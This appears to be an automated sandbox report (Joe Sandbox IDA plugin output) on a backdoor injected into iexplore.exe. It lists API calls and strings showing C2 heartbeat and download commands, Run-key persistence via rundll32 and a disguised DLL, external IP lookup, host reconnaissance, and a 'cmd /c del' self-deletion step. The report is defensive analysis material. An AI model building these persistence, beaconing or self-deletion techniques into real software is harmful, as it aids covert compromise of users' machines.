Part of subcall function 0051327C: GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000), ref: 0051333B

WinHttpReceiveResponse.WINHTTP(?,00000000,?,0051453A,00000000,00000000,000003E9,?,00000001,?,00000000), ref: 00513167
GetLastError.KERNEL32(?,0051453A,00000000,00000000,000003E9,?,00000001,?,00000000), ref: 00513171
WinHttpSendRequest.WINHTTP(?,00000000,00000000,00000000,00000000,00000000,00000000,000004A9,000003E9,0000D10B,00000000,00000000,000003E9,?,?), ref: 00513188
GetLastError.KERNEL32(?,0051453A,00000000,00000000,000003E9,?,00000001,?,00000000), ref: 00513192
WinHttpQueryHeaders.WINHTTP(?,00000013,00000000,00000000,00000000,00000000,?,0051453A,00000000,00000000,000003E9,?,00000001,?,00000000), ref: 005131D0
GetLastError.KERNEL32(?,0051453A,00000000,00000000,000003E9,?,00000001,?,00000000), ref: 005131D2
WinHttpQueryHeaders.WINHTTP(?,00000013,00000000,00000000,00000000,00000000,?,0051453A,00000000,00000000,000003E9,?,00000001,?,00000000), ref: 005131EC
_wtoi.MSVCRT ref: 005131F2

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

WinHttpQueryAuthSchemes.WINHTTP(?,?,?,:EQ,?,0051453A,00000000,00000000,000003E9,?,00000001,?,00000000), ref: 0051323C
WinHttpSetCredentials.WINHTTP(?,:EQ,?,00000729,0000075B,00000000,?,0051453A,00000000,00000000,000003E9,?,00000001,?,00000000), ref: 0051325A

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

Error! Recv StatusCode - %d, xrefs: 00513208
Add CookieHeader Failed!, xrefs: 00513128
eType Error !, xrefs: 00513146
WinHttpReceiveResponse Error! - %d, xrefs: 00513178
GET WinHttpSendRequest failed! - %d, xrefs: 00513199
:EQ, xrefs: 00513204, 00513224, 00513254, 0051314D, 00513207, 00513227

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 005141F0, Relevance: 26.5, APIs: 4, Strings: 11, Instructions: 214

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7B5
Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7F0

Part of subcall function 0051A729: _errno.MSVCRT ref: 0051A741
Part of subcall function 0051A729: _errno.MSVCRT ref: 0051A788

Part of subcall function 00518FE7: time.MSVCRT ref: 0051900D
Part of subcall function 00518FE7: srand.MSVCRT ref: 00519014
Part of subcall function 00518FE7: ??2@YAPAXI@Z.MSVCRT ref: 0051901C
Part of subcall function 00518FE7: rand.MSVCRT ref: 00519040
Part of subcall function 00518FE7: ??3@YAXPAX@Z.MSVCRT ref: 005190BC

GetLastError.KERNEL32(?,00000000,000003E9,?,?,?,?,?,00000000), ref: 0051429E
??2@YAPAXI@Z.MSVCRT ref: 005142DC

Part of subcall function 005140AA: WinHttpQueryDataAvailable.WINHTTP(?,00000000,?,00000000,?,?), ref: 005140C4
Part of subcall function 005140AA: GetLastError.KERNEL32 ref: 005140CE
Part of subcall function 005140AA: ??2@YAPAXI@Z.MSVCRT ref: 00514130
Part of subcall function 005140AA: ??2@YAPAXI@Z.MSVCRT ref: 00514156
Part of subcall function 005140AA: ??3@YAXPAX@Z.MSVCRT ref: 00514181
Part of subcall function 005140AA: ??3@YAXPAX@Z.MSVCRT ref: 00514188
Part of subcall function 005140AA: ??3@YAXPAX@Z.MSVCRT ref: 0051419B
Part of subcall function 005140AA: ??3@YAXPAX@Z.MSVCRT ref: 005141C7
Part of subcall function 005140AA: ??3@YAXPAX@Z.MSVCRT ref: 005141E2

Part of subcall function 005144A4: ??2@YAPAXI@Z.MSVCRT ref: 005144D4
Part of subcall function 005144A4: memset.MSVCRT ref: 005144E0
Part of subcall function 005144A4: memcpy.MSVCRT ref: 005144F8
Part of subcall function 005144A4: ??3@YAXPAX@Z.MSVCRT ref: 00514516
Part of subcall function 005144A4: ??3@YAXPAX@Z.MSVCRT ref: 00514520

Part of subcall function 00514D05: memset.MSVCRT ref: 00514D3A
Part of subcall function 00514D05: GetLastError.KERNEL32(00000001,?,00000000), ref: 00514D50
Part of subcall function 00514D05: memcpy.MSVCRT ref: 00514DBE
Part of subcall function 00514D05: memcpy.MSVCRT ref: 00514E2D
Part of subcall function 00514D05: memcpy.MSVCRT ref: 00514E87
Part of subcall function 00514D05: memcpy.MSVCRT ref: 00514ED7

Part of subcall function 00514F64: memset.MSVCRT ref: 00515004
Part of subcall function 00514F64: memset.MSVCRT ref: 00515062
Part of subcall function 00514F64: strstr.MSVCRT ref: 005150A5
Part of subcall function 00514F64: GetLastError.KERNEL32(00000000,?,00000000), ref: 00515220

Part of subcall function 00515258: ??2@YAPAXI@Z.MSVCRT ref: 00515288
Part of subcall function 00515258: memset.MSVCRT ref: 00515295
Part of subcall function 00515258: ??2@YAPAXI@Z.MSVCRT ref: 005152A2
Part of subcall function 00515258: memset.MSVCRT ref: 005152B5
Part of subcall function 00515258: memcpy.MSVCRT ref: 005152C5
Part of subcall function 00515258: ??2@YAPAXI@Z.MSVCRT ref: 005152DE
Part of subcall function 00515258: memset.MSVCRT ref: 005152ED
Part of subcall function 00515258: strstr.MSVCRT ref: 0051532E
Part of subcall function 00515258: ??3@YAXPAX@Z.MSVCRT ref: 00515453
Part of subcall function 00515258: ??3@YAXPAX@Z.MSVCRT ref: 0051545C
Part of subcall function 00515258: ??3@YAXPAX@Z.MSVCRT ref: 00515463

Part of subcall function 005159AF: memset.MSVCRT ref: 005159E7
Part of subcall function 005159AF: ??2@YAPAXI@Z.MSVCRT ref: 00515A3A
Part of subcall function 005159AF: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00515A60
Part of subcall function 005159AF: GetLastError.KERNEL32 ref: 00515A71
Part of subcall function 005159AF: GetFileSize.KERNEL32(00000000,00000000), ref: 00515A93
Part of subcall function 005159AF: GetLastError.KERNEL32 ref: 00515AA4
Part of subcall function 005159AF: memset.MSVCRT ref: 00515AB6
Part of subcall function 005159AF: memcpy.MSVCRT ref: 00515AD1
Part of subcall function 005159AF: GetLastError.KERNEL32(00000000,?,000003F0,?,?,?,?,?,?,?,?,00000000,000003EB), ref: 00515B02
Part of subcall function 005159AF: GetTickCount.KERNEL32(00000000,?,000003F0,?,?,?,?,?,?,?,?,00000000,000003EB), ref: 00515B12
Part of subcall function 005159AF: srand.MSVCRT ref: 00515B19
Part of subcall function 005159AF: memset.MSVCRT ref: 00515B23
Part of subcall function 005159AF: rand.MSVCRT ref: 00515B32
Part of subcall function 005159AF: ReadFile.KERNEL32(?,0000000C,0000C60B,00000000,00000000), ref: 00515B5B
Part of subcall function 005159AF: GetLastError.KERNEL32 ref: 00515B65
Part of subcall function 005159AF: SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 00515BBC
Part of subcall function 005159AF: GetLastError.KERNEL32(00000000,-0000000C,000003F1,?), ref: 00515BE7
Part of subcall function 005159AF: ??3@YAXPAX@Z.MSVCRT ref: 00515C28

Part of subcall function 00515CDD: memset.MSVCRT ref: 00515CFB
Part of subcall function 00515CDD: ??2@YAPAXI@Z.MSVCRT ref: 00515D57
Part of subcall function 00515CDD: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000004,00000000,00000000), ref: 00515D82
Part of subcall function 00515CDD: CloseHandle.KERNEL32(00000000), ref: 00515D8E
Part of subcall function 00515CDD: memcpy.MSVCRT ref: 00515DA4
Part of subcall function 00515CDD: GetLastError.KERNEL32(?,?,?,?,00000000,000003EB,?,?,?,?,?,00000000), ref: 00515DD1
Part of subcall function 00515CDD: ??3@YAXPAX@Z.MSVCRT ref: 00515E78

Part of subcall function 00515E8D: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000), ref: 00515EBD
Part of subcall function 00515E8D: Sleep.KERNEL32(000003E8,?,?,?,?,?,00000000), ref: 00515ED0
Part of subcall function 00515E8D: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000), ref: 00515EE6
Part of subcall function 00515E8D: SetFilePointer.KERNEL32(000000FF,?,00000000,00000000,?,?,?,?,?,00000000), ref: 00515F1C
Part of subcall function 00515E8D: WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 00515F2E
Part of subcall function 00515E8D: GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00515F38
Part of subcall function 00515E8D: GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00515F50
Part of subcall function 00515E8D: CloseHandle.KERNEL32(000000FF), ref: 00515F6D

Part of subcall function 00515F93: ??2@YAPAXI@Z.MSVCRT ref: 00515FA9
Part of subcall function 00515F93: CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00515FC9
Part of subcall function 00515F93: GetFileSize.KERNEL32(00000000,00000000,?,?,?,00515F8B), ref: 00515FE0
Part of subcall function 00515F93: CloseHandle.KERNEL32(00515F8B), ref: 00515FEC
Part of subcall function 00515F93: memcpy.MSVCRT ref: 0051603E
Part of subcall function 00515F93: memcpy.MSVCRT ref: 00516052
Part of subcall function 00515F93: ??3@YAXPAX@Z.MSVCRT ref: 00516087

Part of subcall function 00516178: DeleteFileA.KERNEL32(?,00520170,0000002C,005143F8,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,000003EB,?,00000000), ref: 005161AD
Part of subcall function 00516178: GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 005161C0

Part of subcall function 00516239: GetModuleFileNameW.KERNEL32(?,?,00000104,?), ref: 00516269
Part of subcall function 00516239: GetShortPathNameW.KERNEL32(?,?,00000104), ref: 00516280
Part of subcall function 00516239: GetEnvironmentVariableW.KERNEL32(COMSPEC,?,00000104), ref: 00516298
Part of subcall function 00516239: wcsstr.MSVCRT ref: 005162B3
Part of subcall function 00516239: memset.MSVCRT ref: 005162D4
Part of subcall function 00516239: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000), ref: 005162E7
Part of subcall function 00516239: DeleteFileW.KERNEL32(?,?,?,?,?,?,00000000), ref: 00516309
Part of subcall function 00516239: lstrcpyW.KERNEL32(?,/c del ), ref: 0051631B
Part of subcall function 00516239: lstrcatW.KERNEL32(?,?), ref: 00516335
Part of subcall function 00516239: lstrcatW.KERNEL32(?, > nul), ref: 00516343
Part of subcall function 00516239: ShellExecuteExW.SHELL32(?), ref: 00516375
Part of subcall function 00516239: SetPriorityClass.KERNEL32(?,00000040), ref: 00516389
Part of subcall function 00516239: GetCurrentProcess.KERNEL32(00000100), ref: 00516390
Part of subcall function 00516239: SetPriorityClass.KERNEL32(00000000), ref: 00516397
Part of subcall function 00516239: GetCurrentThread.KERNEL32(0000000F), ref: 0051639B
Part of subcall function 00516239: SetThreadPriority.KERNEL32(00000000), ref: 005163A2
Part of subcall function 00516239: SHChangeNotify.SHELL32(00000004,00000005,?,00000000), ref: 005163B4
Part of subcall function 00516239: ExitProcess.KERNEL32 ref: 005163BB

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

??3@YAXPAX@Z.MSVCRT ref: 0051443D
??3@YAXPAX@Z.MSVCRT ref: 0051444B

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Part of subcall function 005149DD: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000004,00000000,00000000), ref: 00514A11
Part of subcall function 005149DD: memcpy.MSVCRT ref: 00514A35
Part of subcall function 005149DD: ??2@YAPAXI@Z.MSVCRT ref: 00514A3C
Part of subcall function 005149DD: ??3@YAXPAX@Z.MSVCRT ref: 00514A62
Part of subcall function 005149DD: WriteFile.KERNEL32(?,?,00000269,?,00000000), ref: 00514A7D
Part of subcall function 005149DD: CloseHandle.KERNEL32(?), ref: 00514A86

Strings

Handle %d Failed!, xrefs: 00514422
Download %d pakages!, xrefs: 005143DC
Send FirstOnline Data Failed!, xrefs: 00514270
SetHttpClientArgs Failed! - %d, xrefs: 005142A5
Send Online Data Failed!, xrefs: 005142CA
Unknown OpCode!, xrefs: 00514407
http://, xrefs: 00514227
Receive %d., xrefs: 00514312
Handle %d Success., xrefs: 0051441B
https://, xrefs: 00514220
Send HeartBeat Data Failed!, xrefs: 00514344

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 004F1000, Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 170
registry

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004F102B
GetSystemDirectoryA.KERNEL32(00000000,00000104), ref: 004F1040

Part of subcall function 004F3337: _errno.MSVCRT ref: 004F334F
Part of subcall function 004F3337: _errno.MSVCRT ref: 004F3396

memset.MSVCRT ref: 004F109D
SHGetSpecialFolderPathA.SHELL32(00000000,00000000,0000001A,00000000), ref: 004F10B0
GetShortPathNameA.KERNEL32(00000000,00000000,00000104), ref: 004F10D4
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020006,?), ref: 004F1130
memset.MSVCRT ref: 004F1162
RegQueryValueExA.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 004F118A
RegSetValueExA.KERNEL32(?,?,00000000,00000001,00000000,00000001), ref: 004F11EE
RegCloseKey.ADVAPI32(?), ref: 004F11FA

Part of subcall function 004F32A0: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004F3CE2
Part of subcall function 004F32A0: UnhandledExceptionFilter.KERNEL32(004F6190), ref: 004F3CED
Part of subcall function 004F32A0: GetCurrentProcess.KERNEL32(C0000409), ref: 004F3CF8
Part of subcall function 004F32A0: TerminateProcess.KERNEL32(00000000), ref: 004F3CFF

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 004F1106
\Microsoft\Windows\Caches\NavShExt.dll, xrefs: 004F10B6
rundll32.exe, xrefs: 004F1046
,Setting, xrefs: 004F10EE
IAStorD, xrefs: 004F113E

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 00517B78, Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 83

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0051663C: malloc.MSVCRT ref: 0051663D

WinHttpOpen.WINHTTP(Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;,00000000,00000000,00000000,00000000,00520130,0000001C,00517CB6,?,00000000,?), ref: 00517BA6
WinHttpConnect.WINHTTP(00000000,api.ipaddress.com,00000050,00000000), ref: 00517BC2
WinHttpOpenRequest.WINHTTP(00000000,GET,/myip?format=txt,00000000,00000000,00000000,00000000), ref: 00517BDE
WinHttpSendRequest.WINHTTP(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00517BF4
WinHttpReceiveResponse.WINHTTP(00000000,00000000), ref: 00517C00
WinHttpQueryDataAvailable.WINHTTP(00000000,00000000), ref: 00517C0F
WinHttpReadData.WINHTTP(00000000,?,00000020,?), ref: 00517C23
WinHttpCloseHandle.WINHTTP(00000000), ref: 00517C30
WinHttpCloseHandle.WINHTTP(?), ref: 00517C35
WinHttpCloseHandle.WINHTTP(00000000), ref: 00517C38

Part of subcall function 00517C51: WinHttpCloseHandle.WINHTTP(?,00517C46), ref: 00517C59
Part of subcall function 00517C51: WinHttpCloseHandle.WINHTTP(?,00517C46), ref: 00517C67
Part of subcall function 00517C51: WinHttpCloseHandle.WINHTTP(?,00517C46), ref: 00517C75

Strings

api.ipaddress.com, xrefs: 00517BBC
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;, xrefs: 00517BA1
GET, xrefs: 00517BD8
/myip?format=txt, xrefs: 00517BD3

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00518133, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 143
filetime

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00518179
GetLocalTime.KERNEL32(?,?,?,?), ref: 00518188
___swprintf_l.LIBCMT ref: 005181D0

Part of subcall function 0051A5CC: _errno.MSVCRT ref: 0051A5D9
Part of subcall function 0051A5CC: _errno.MSVCRT ref: 0051A619
Part of subcall function 0051A5CC: _errno.MSVCRT ref: 0051A650

memset.MSVCRT ref: 0051821C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000C800,00000000,00000000), ref: 00518239
CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 0051825C
GetFileSize.KERNEL32(00000000,00000000), ref: 0051826B
SetEndOfFile.KERNEL32(00000000), ref: 00518280
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0051828D

Part of subcall function 0051A729: _errno.MSVCRT ref: 0051A741
Part of subcall function 0051A729: _errno.MSVCRT ref: 0051A788

WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 005182CB
CloseHandle.KERNEL32(00000000), ref: 005182D2

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp, xrefs: 00518257
[%d-%d-%d %2d:%2d:%2d] , xrefs: 005181BE

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00517694, Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 103

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0051663C: malloc.MSVCRT ref: 0051663D

___swprintf_l.LIBCMT ref: 005176D9
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 005176EC
Process32FirstW.KERNEL32(00000000,?), ref: 00517705
realloc.MSVCRT ref: 00517755
___swprintf_l.LIBCMT ref: 00517770
Process32NextW.KERNEL32(?,?), ref: 0051777F
CloseHandle.KERNEL32(?), ref: 0051778B

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

=========================, xrefs: 005176C1
%-25s %8s%s %s, xrefs: 005176D0
%-25S %8u, xrefs: 00517767
PID, xrefs: 005176C6
Image Name, xrefs: 005176CB
========, xrefs: 005176BC

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 0051327C, Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 91

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 005132A2
__swprintf_c_l.LIBCMT ref: 005132B8
WinHttpAddRequestHeaders.WINHTTP(?,?,?,A0000000,?,?,?,?,?,?,?,00000000), ref: 005132E1
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000), ref: 005132EB
WinHttpSendRequest.WINHTTP(?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,00000000), ref: 0051330B
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000), ref: 00513315
WinHttpWriteData.WINHTTP(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00513331
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000), ref: 0051333B

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Strings

Content-Length: %d, xrefs: 005132AB
POST WinHttpSendRequest failed! - %d, xrefs: 0051331C
WinHttpAddRequestHeaders 'Content-Length' add failed! - %d, xrefs: 005132F2
WinHttpWriteData failed! - %d, xrefs: 00513342
WinHttpWriteData Imcomplete!, xrefs: 0051334E

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00517FBE, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 123filetime

APIs

memset.MSVCRT ref: 00518001
GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
___swprintf_l.LIBCMT ref: 00518058

Part of subcall function 0051A4F3: _errno.MSVCRT ref: 0051A500
Part of subcall function 0051A4F3: _errno.MSVCRT ref: 0051A540
Part of subcall function 0051A4F3: _errno.MSVCRT ref: 0051A574

CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
SetEndOfFile.KERNEL32(00000000), ref: 005180CC
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9

Part of subcall function 0051A729: _errno.MSVCRT ref: 0051A741
Part of subcall function 0051A729: _errno.MSVCRT ref: 0051A788

WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
CloseHandle.KERNEL32(00000000), ref: 0051811E

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

[%d-%d-%d %2d:%2d:%2d] , xrefs: 00518046
C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp, xrefs: 005180A7

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00517C7C, Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 278

APIs

Part of subcall function 0051663C: malloc.MSVCRT ref: 0051663D

Part of subcall function 00517694: ___swprintf_l.LIBCMT ref: 005176D9
Part of subcall function 00517694: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 005176EC
Part of subcall function 00517694: Process32FirstW.KERNEL32(00000000,?), ref: 00517705
Part of subcall function 00517694: realloc.MSVCRT ref: 00517755
Part of subcall function 00517694: ___swprintf_l.LIBCMT ref: 00517770
Part of subcall function 00517694: Process32NextW.KERNEL32(?,?), ref: 0051777F
Part of subcall function 00517694: CloseHandle.KERNEL32(?), ref: 0051778B

Part of subcall function 005177AB: ??2@YAPAXI@Z.MSVCRT ref: 005177C2
Part of subcall function 005177AB: GetAdaptersInfo.IPHLPAPI(00000000,?), ref: 005177D3
Part of subcall function 005177AB: ??3@YAXPAX@Z.MSVCRT ref: 005177E0
Part of subcall function 005177AB: ??2@YAPAXI@Z.MSVCRT ref: 005177E8
Part of subcall function 005177AB: GetAdaptersInfo.IPHLPAPI(00000000,?), ref: 005177F7
Part of subcall function 005177AB: ??3@YAXPAX@Z.MSVCRT ref: 00517809
Part of subcall function 005177AB: ___swprintf_l.LIBCMT ref: 00517830
Part of subcall function 005177AB: realloc.MSVCRT ref: 00517875
Part of subcall function 005177AB: ___swprintf_l.LIBCMT ref: 005178C8
Part of subcall function 005177AB: ___swprintf_l.LIBCMT ref: 005178FB
Part of subcall function 005177AB: realloc.MSVCRT ref: 00517949
Part of subcall function 005177AB: ___swprintf_l.LIBCMT ref: 00517980
Part of subcall function 005177AB: realloc.MSVCRT ref: 005179A8
Part of subcall function 005177AB: ___swprintf_l.LIBCMT ref: 005179D6
Part of subcall function 005177AB: ??3@YAXPAX@Z.MSVCRT ref: 00517A07

Part of subcall function 00517A1E: memset.MSVCRT ref: 00517A4A
Part of subcall function 00517A1E: SHGetSpecialFolderPathA.SHELL32(00000000,00000000,00000010,00000000), ref: 00517A5D
Part of subcall function 00517A1E: _findfirst.MSVCRT ref: 00517A87
Part of subcall function 00517A1E: realloc.MSVCRT ref: 00517B03
Part of subcall function 00517A1E: ___swprintf_l.LIBCMT ref: 00517B2A
Part of subcall function 00517A1E: _findnext.MSVCRT ref: 00517B53

Part of subcall function 00517B78: WinHttpOpen.WINHTTP(Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;,00000000,00000000,00000000,00000000,00520130,0000001C,00517CB6,?,00000000,?), ref: 00517BA6
Part of subcall function 00517B78: WinHttpConnect.WINHTTP(00000000,api.ipaddress.com,00000050,00000000), ref: 00517BC2
Part of subcall function 00517B78: WinHttpOpenRequest.WINHTTP(00000000,GET,/myip?format=txt,00000000,00000000,00000000,00000000), ref: 00517BDE
Part of subcall function 00517B78: WinHttpSendRequest.WINHTTP(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00517BF4
Part of subcall function 00517B78: WinHttpReceiveResponse.WINHTTP(00000000,00000000), ref: 00517C00
Part of subcall function 00517B78: WinHttpQueryDataAvailable.WINHTTP(00000000,00000000), ref: 00517C0F
Part of subcall function 00517B78: WinHttpReadData.WINHTTP(00000000,?,00000020,?), ref: 00517C23
Part of subcall function 00517B78: WinHttpCloseHandle.WINHTTP(00000000), ref: 00517C30
